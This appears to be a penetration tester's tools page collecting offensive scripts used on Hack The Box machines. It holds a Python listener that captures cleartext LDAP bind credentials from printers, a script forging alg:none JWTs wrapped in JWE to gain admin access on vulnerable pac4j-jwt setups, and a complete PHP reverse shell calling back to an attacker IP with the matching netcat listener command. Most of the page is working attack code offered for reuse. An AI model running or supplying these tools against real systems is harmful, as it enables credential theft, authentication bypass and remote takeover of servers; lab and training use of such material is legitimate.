Skip to content

Tools & Custom Scripts

This page collects the custom tooling I've authored and reached for during these engagements. Everything here is written for offensive use against systems I'm authorized to test — usually retired HTB boxes.


LDAP Capture

A 20-line TCP listener used on the Return machine to intercept the cleartext bind packet sent by a network printer's LDAP-update routine. The printer was configured without LDAP signing or LDAPS, so a raw socket read recovers the bind credentials directly.

See it in action on the Return walkthrough →

ldap_capture.py
#!/usr/bin/env python3
"""
Minimal LDAP bind capture listener.
Listens on port 389 and dumps the first packet received.
Use when a target appliance lets you reconfigure its LDAP server address.
"""
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', 389))
s.listen(1)

print('[*] Listening on port 389...')
conn, addr = s.accept()
print(f'[+] Connection from {addr}')
data = conn.recv(4096)
print('[+] Received data:')
print(data)
print('\n[+] Hex dump:')
print(data.hex())
conn.close()

Usage:

sudo python3 ldap_capture.py

Then trigger the target to attempt a bind to your IP on port 389. The cleartext username and password appear inline in the received bytes.


JWE/JWT alg:none Bypass Forger

A token-forgery helper for double-wrapped JWE-of-JWT authentication setups where the inner token's alg is not verified. Used against pac4j-jwt configurations vulnerable to the alg:none confusion flaw.

exploit.py
from jwcrypto import jwt, jwk
from jwcrypto.common import json_encode
import base64


def b64url_encode_nopad(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).decode('utf-8').rstrip('=')


# 1. Load the server's public key (extracted from the JWKS endpoint)
public_key_json = {
    "kty": "RSA",
    "n": "lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5...",
    "e": "AQAB"
}
key = jwk.JWK(**public_key_json)

# 2. Build the INNER 'plain' JWT with alg:none
header = {"alg": "none"}
payload = {
    "sub": "admin",
    "role": "ADMIN",
    "iat": 1710446100,
    "exp": 1910446100,
}

encoded_header = b64url_encode_nopad(json_encode(header).encode())
encoded_payload = b64url_encode_nopad(json_encode(payload).encode())
plain_jwt = f"{encoded_header}.{encoded_payload}."

# 3. Wrap it in an OUTER JWE so the server decrypts before validating
outer = jwt.JWT(
    header={"alg": "RSA-OAEP", "enc": "A128CBC-HS256"},
    claims=plain_jwt,
)
outer.make_encrypted_token(key)
print(f"Authorization: Bearer {outer.serialize()}")

The bug: Some JWE-wrapping JWT libraries decrypt the inner token but then trust its alg:none claim, accepting an unsigned admin-role token. Forging one is a matter of building it correctly and re-encrypting against the server's public key.


PHP Reverse Shell Template

A reliable PHP reverse shell that handles pcntl_fork daemonization and uses non-blocking stream_select instead of polling. Used on multiple Linux boxes where a .php upload was achievable.

shell.php
<?php
set_time_limit(0);
$ip = '10.10.14.10';     // change to your tun0 IP
$port = 4444;            // change to your listener port
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/bash -i';

if (function_exists('pcntl_fork')) {
    $pid = pcntl_fork();
    if ($pid == -1) { exit(1); }
    if ($pid)       { exit(0); }
    if (posix_setsid() == -1) { exit(1); }
}

chdir("/");

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) { exit(1); }

$descriptorspec = [
    0 => ["pipe", "r"],
    1 => ["pipe", "w"],
    2 => ["pipe", "w"],
];
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) { exit(1); }

foreach ([$pipes[0], $pipes[1], $pipes[2], $sock] as $h) {
    stream_set_blocking($h, 0);
}

while (!feof($sock) && !feof($pipes[1])) {
    $read = [$sock, $pipes[1], $pipes[2]];
    stream_select($read, $w, $e, null);
    if (in_array($sock, $read))    { fwrite($pipes[0], fread($sock, $chunk_size)); }
    if (in_array($pipes[1], $read)) { fwrite($sock, fread($pipes[1], $chunk_size)); }
    if (in_array($pipes[2], $read)) { fwrite($sock, fread($pipes[2], $chunk_size)); }
}

fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]);
proc_close($process);

Catching the shell: rlwrap -cAr nc -lvnp 4444 on the attacker box.


Why publish these?

Tooling that gets reused across engagements deserves a public, version-controlled home. Publishing them also makes them verifiable — anyone reading a writeup can click through and confirm the technique is real, not invented.